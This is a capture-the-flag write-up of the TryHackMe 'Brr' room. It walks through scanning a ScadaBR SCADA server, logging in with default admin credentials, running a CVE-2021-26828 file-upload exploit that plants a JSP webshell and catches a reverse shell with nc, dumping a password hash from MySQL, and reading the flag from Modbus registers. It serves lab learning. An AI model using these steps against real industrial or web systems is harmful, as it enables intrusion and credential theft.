# Challenge: Brr (TryHackMe) > Link to the challenge on TryHackMe: [Brr](https://tryhackme.com/room/brr) > > The cold never lies, but the SCADA panel guarding it just handed you the keys. Chase the chill all the way down. > > **Note:** The VM takes about **3 minutes** to boot up. ### Answer the questions below What's the flag? ```markdown nmap -p- -sV IP_Address Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http WebSockify Python/3.12.3 5020/tcp open zenginkyo-1? 5901/tcp open vnc VNC (protocol 3.8) 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 ``` `gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt` ```markdown gobuster dir -u http://IP_Address:8080 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt /index.html (Status: 200) [Size: 236] /index.html (Status: 200) [Size: 236] root@ip-10-114-120-58:~# curl http://IP_Address:8080/index.html ScadaBR CTF

Welcome to ScadaBR CTF

Redirecting you to /ScadaBR...

``` ```markdown curl http://IP_Address:8080/ScanaBR Apache Tomcat/7.0.68 (Ubuntu) - Error report

HTTP Status 404 - /ScanaBR

type Status report

message /ScanaBR

description The requested resource is not available.

Apache Tomcat/7.0.68 (Ubuntu)

``` ```markdown root@ip-10-114-120-58:~# curl -i http://IP_Address:8080/ScadaBR/login.htm HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A74C374983F8D53C49C938D75A65F6FF; Path=/ScadaBR/; HttpOnly Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Sat, 11 Jul 2026 17:53:44 GMT ScadaBR (powered by Mango M2M)

ScadaBR (powered by Mango M2M)

	Checking your browser for compatibility...
This browser is supported.


©2009-2010 Fundação Certi, MCA Sistemas, Unis Sistemas, Conetec., all rights reserved

``` ```markdown gobuster dir -u http://IP_Address:8080/ScadaBR/ -w /usr/share/wordlists/dirb/common.txt -x jsp,htm /audio (Status: 302) [Size: 0] [--> /ScadaBR/audio/] /chart (Status: 500) [Size: 154523] /dwr (Status: 302) [Size: 0] [--> /ScadaBR/dwr/index.html] /export (Status: 500) [Size: 154656] /graphics (Status: 302) [Size: 0] [--> /ScadaBR/graphics/] /images (Status: 302) [Size: 0] [--> /ScadaBR/images/] /index.jsp (Status: 200) [Size: 884] /login.htm (Status: 200) [Size: 9005] /logout.htm (Status: 302) [Size: 0] [--> login.htm;jsessionid=09BCE551F2484389866E3B126E495956] /resources (Status: 302) [Size: 0] [--> /ScadaBR/resources/] /services (Status: 200) [Size: 745] /uploads (Status: 302) [Size: 0] [--> /ScadaBR/uploads/] /wsdl (Status: 302) [Size: 0] ``` * `/audio/lib` ```markdown gobuster dir -u http://IP_Address:8080/ScadaBR/dwr -w /usr/share/wordlists/dirb/common.txt -x jsp,htm /about (Status: 200) [Size: 207] /about.jsp (Status: 200) [Size: 207] /about_us (Status: 200) [Size: 207] /about_us.jsp (Status: 200) [Size: 207] /aboutus.jsp (Status: 200) [Size: 207] /about-us (Status: 200) [Size: 207] /about-us.htm (Status: 200) [Size: 207] /aboutus.htm (Status: 200) [Size: 207] /about-us.jsp (Status: 200) [Size: 207] /about_us.htm (Status: 200) [Size: 207] /about.htm (Status: 200) [Size: 207] /aboutus (Status: 200) [Size: 207] /auth.jsp (Status: 200) [Size: 7937] /engine.jsp (Status: 200) [Size: 44127] /index.html (Status: 200) [Size: 2669] /index.html.htm (Status: 200) [Size: 2669] /index.html.jsp (Status: 200) [Size: 2669] /util.jsp (Status: 200) [Size: 46197] ``` ```markdown curl http://IP_Address:8080/ScadaBR/index.jsp ScadaBR (powered by Mango) ScadaBR (powered by Mango) ``` ```markdown curl http://IP_Address:8080/ScadaBR/dwr/index.html DWR Test Index

Classes known to DWR:

WatchListDwr (com.serotonin.mango.web.dwr.WatchListDwr)
DataSourceEditDwr (com.serotonin.mango.web.dwr.DataSourceEditDwr)
EmportDwr (com.serotonin.mango.web.dwr.EmportDwr)
EventHandlersDwr (com.serotonin.mango.web.dwr.EventHandlersDwr)
CompoundEventsDwr (com.serotonin.mango.web.dwr.CompoundEventsDwr)
ScheduledEventsDwr (com.serotonin.mango.web.dwr.ScheduledEventsDwr)
MailingListsDwr (com.serotonin.mango.web.dwr.MailingListsDwr)
DataSourceListDwr (com.serotonin.mango.web.dwr.DataSourceListDwr)
ViewDwr (com.serotonin.mango.web.dwr.ViewDwr)
UsersDwr (com.serotonin.mango.web.dwr.UsersDwr)
DataPointDetailsDwr (com.serotonin.mango.web.dwr.DataPointDetailsDwr)
PointHierarchyDwr (com.serotonin.mango.web.dwr.PointHierarchyDwr)
PublisherListDwr (com.serotonin.mango.web.dwr.PublisherListDwr)
SystemSettingsDwr (com.serotonin.mango.web.dwr.SystemSettingsDwr)
PublisherEditDwr (com.serotonin.mango.web.dwr.PublisherEditDwr)
EventsDwr (com.serotonin.mango.web.dwr.EventsDwr)
MaintenanceEventsDwr (com.serotonin.mango.web.dwr.MaintenanceEventsDwr)
PointLinksDwr (com.serotonin.mango.web.dwr.PointLinksDwr)
DataPointEditDwr (com.serotonin.mango.web.dwr.DataPointEditDwr)
MiscDwr (com.serotonin.mango.web.dwr.MiscDwr)
ReportsDwr (com.serotonin.mango.web.dwr.ReportsDwr)
CustomViewDwr (com.serotonin.mango.web.dwr.CustomViewDwr)

``` ```markdown curl -i -X POST http://IP_Address:8080/ScadaBR/login.htm \ --data 'username=admin&password=admin' \ -c cookies.txt HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=69649DF9B703ABF0B7BF1EAB09F3A09F; Path=/ScadaBR/; HttpOnly Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Location: watch_list.shtm;jsessionid=69649DF9B703ABF0B7BF1EAB09F3A09F Content-Language: en-US Content-Length: 0 Date: Sat, 11 Jul 2026 18:08:58 GMT ``` ```markdown y3-none-any.whl (144 kB) |################################| 144 kB 43.1 MB/s Collecting chardet<5,>=3.0.2; python_version < "3" Downloading chardet-4.0.0-py2.py3-none-any.whl (178 kB) |################################| 178 kB 39.3 MB/s Collecting idna<3,>=2.5; python_version < "3" Downloading idna-2.10-py2.py3-none-any.whl (58 kB) |################################| 58 kB 6.1 MB/s Installing collected packages: certifi, urllib3, chardet, idna, requests Successfully installed certifi-2021.10.8 chardet-4.0.0 idna-2.10 requests-2.27.1 urllib3-1.26.20 +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ | _________ .___ ____________________ | | / _____/ ____ _____ __| _/____ \______ \______ \ | | \_____ \_/ ___\__ \ / __ |\__ \ | | _/| _/ | | / \ \___ / __ \_/ /_/ | / __ \| | \| | \ | | /_______ /\___ >____ /\____ |(____ /______ /|____|_ / | | \/ \/ \/ \/ \/ \/ \/ | | | | > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) | | > Exploit Author : Fellipe Oliveira | | > Exploit for Linux Systems | +-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+ [+] Trying to authenticate http://IP_Address:8080/ScadaBR/login.htm... [+] Successfully authenticated! :D~ [>] Attempting to upload .jsp Webshell... [>] Verifying shell upload... [+] Upload Successfuly! [+] Webshell Found in: http://IP_Address:8080/ScadaBR/uploads/1.jsp [>] Spawning Reverse Shell... [+] Connection received ``` ```markdown nc -vnlp 4444 Listening on 0.0.0.0 4444 Connection received on IP_Address 34956 whoami tomcat7 id uid=107(tomcat7) gid=110(tomcat7) groups=110(tomcat7),20(dialout) hostname 77f992b1ebf5 ls bin common conf logs server shared webapps work ls -la /work ls -la work lrwxrwxrwx 1 tomcat7 tomcat7 19 Jun 27 2016 work -> ../../cache/tomcat7 ls -la webapps total 30396 drwxrwxr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 . drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .. drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ROOT drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 ScadaBR -rw-r--r-- 1 tomcat7 tomcat7 31096085 Apr 22 2018 ScadaBR.war ls -la webapps/ROOT total 20 drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 . drwxrwxr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .. drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 META-INF -rw-r--r-- 1 1000 1000 236 Jun 10 2025 index.html ls -la webapps/ROOT/META-INF total 12 drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 . drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .. -rw-r--r-- 1 tomcat7 tomcat7 51 Apr 22 2018 context.xml ls -la shared total 16 drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 . drwxr-xr-x 1 tomcat7 tomcat7 4096 Apr 22 2018 .. drwxr-xr-x 1 tomcat7 tomcat7 4096 Jun 27 2016 classes ``` ```markdown mysql -u scadabr -pscadabr -h localhost scadabr -e "select username,password,admin from users;" select username,password,admin from users;"dabr -e " +----------+------------------------------+-------+ | username | password | admin | +----------+------------------------------+-------+ | admin | 0DPiKuNIrrVmD8IUCuw1hQxNqZc= | Y | +----------+------------------------------+-------+ ``` ```markdown python3 /tmp/modbus_read.py plc 5020 1 0 20 python3 /tmp/modbus_read.py plc 5020 1 0 20 Raw registers: 0 ==> 0054 1 ==> 0048 2 ==> 004d 3 ==> 007b 4 ==> 006d 5 ==> 006f 6 ==> 0064 7 ==> 0062 8 ==> 0075 9 ==> 0073 10 ==> 005f 11 ==> 0068 12 ==> 0069 13 ==> 0064 14 ==> 007d 15 ==> 0000 16 ==> 0000 17 ==> 0000 18 ==> 0000 19 ==> 0000 As ASCII (low byte of each register): THM{modbus_hredacted} As ASCII (high byte of each register): ``` I struggled towards the end, and this walkthrough on YouTube was helpful, though it wasn't so easy coz I wasn't following the same route as him ![](https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d9af2a24-e8a6-4f55-9fda-a6e1478ffc51.png align="center")